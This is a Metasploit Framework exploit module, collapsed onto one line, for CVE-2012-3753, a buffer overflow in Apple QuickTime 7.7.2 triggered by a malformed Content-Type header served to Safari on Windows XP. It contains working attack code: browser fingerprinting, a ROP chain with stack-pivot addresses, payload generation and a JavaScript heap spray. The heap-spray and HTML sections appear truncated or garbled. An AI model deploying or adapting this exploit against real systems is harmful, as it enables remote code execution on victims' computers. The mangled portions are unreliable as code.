## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Egghunter include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::SAFARI, :ua_maxver => '5.0.1', :ua_maxver => '5.1.7', :javascript => true, :rank => NormalRanking, # reliable memory corruption :vuln_test => nil }) def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime 7.7.2 MIME Type Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Apple QuickTime 7.7.2. The stack based overflow occurs when processing a malformed Content-Type header. The module has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP SP3. }, 'Author' => [ 'Pavel Polischouk', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3753' ], [ 'OSVDB', '87088'], [ 'BID', '56438' ], [ 'URL', 'http://support.apple.com/kb/HT5581' ], [ 'URL', 'http://asintsov.blogspot.com.es/2012/11/heapspray.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ # Tested with QuickTime 7.7.2 [ 'Automatic', {} ], [ 'Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2', { 'OffsetFirstStackPivot' => 389, 'OffsetSecondStackPivot' => 105, 'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts, 'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts 'SprayOffset' => 264, 'SprayedAddress' => 0x60130124 } ], [ 'Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2', { 'OffsetFirstStackPivot' => 389, 'OffsetSecondStackPivot' => 105, 'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts, 'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts 'SprayOffset' => 264, 'SprayedAddress' => 0x60130124 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 07 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class ) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' browser_name = "" if agent =~ /Safari/ and agent=~ /Version\/5\.1\.7/ browser_name = "Safari 5.1.7" elsif agent =~ /Safari/ and agent=~ /Version\/5\.0\.5/ browser_name = "Safari 5.0.5" end os_name = 'Windows XP SP3' targets.each do |t| if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(client, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end return if ((p = regenerate_payload(client)) == nil) if request.uri =~ /\.smil$/ print_status("Sending exploit (target: #{my_target.name})") smil = rand_text_alpha(20) type = rand_text_alpha_lower(1) subtype = rand_text_alpha_lower(my_target['OffsetSecondStackPivot']) subtype << [my_target['SecondStackPivot']].pack("V") subtype << [my_target['SprayedAddress']].pack("V") subtype << rand_text_alpha_lower(my_target['OffsetFirstStackPivot'] - subtype.length) subtype << rand_text_alpha_lower(4) subtype << [my_target['FirstStackPivot']].pack("V") subtype << rand_text_alpha_lower(10000 - subtype.length) send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" }) else print_status("Sending initial HTML") url = ((datastore['SSL']) ? "https://" : "http://") url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST']) url << ":" + datastore['SRVPORT'].to_s url << get_resource fname = rand_text_alphanumeric(4) code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch)) offset = rand_text(my_target['SprayOffset']) js_offset = Rex::Text.to_unescape(offset, Rex::Arch.endian(my_target.arch)) fill = rand_text(4) js_fill = Rex::Text.to_unescape(fill, Rex::Arch.endian(my_target.arch)) # Heap Spray based on http://asintsov.blogspot.com.es/2012/11/heapspray.html js = <<-JSSPRAY function heapSpray(offset, shellcode, fillsled) { var chunk_size, headersize, fillsled_len, code; var i, codewithnum; chunk_size = 0x40000; headersize = 0x10; fillsled_len = chunk_size - (headersize + offset.length + shellcode.length); while (fillsled.length " content << "" content << <<-ENDEMBED ENDEMBED content << "" send_response(client, content, { 'Content-Type' => "text/html" }) end # Handle the payload handler(client) end end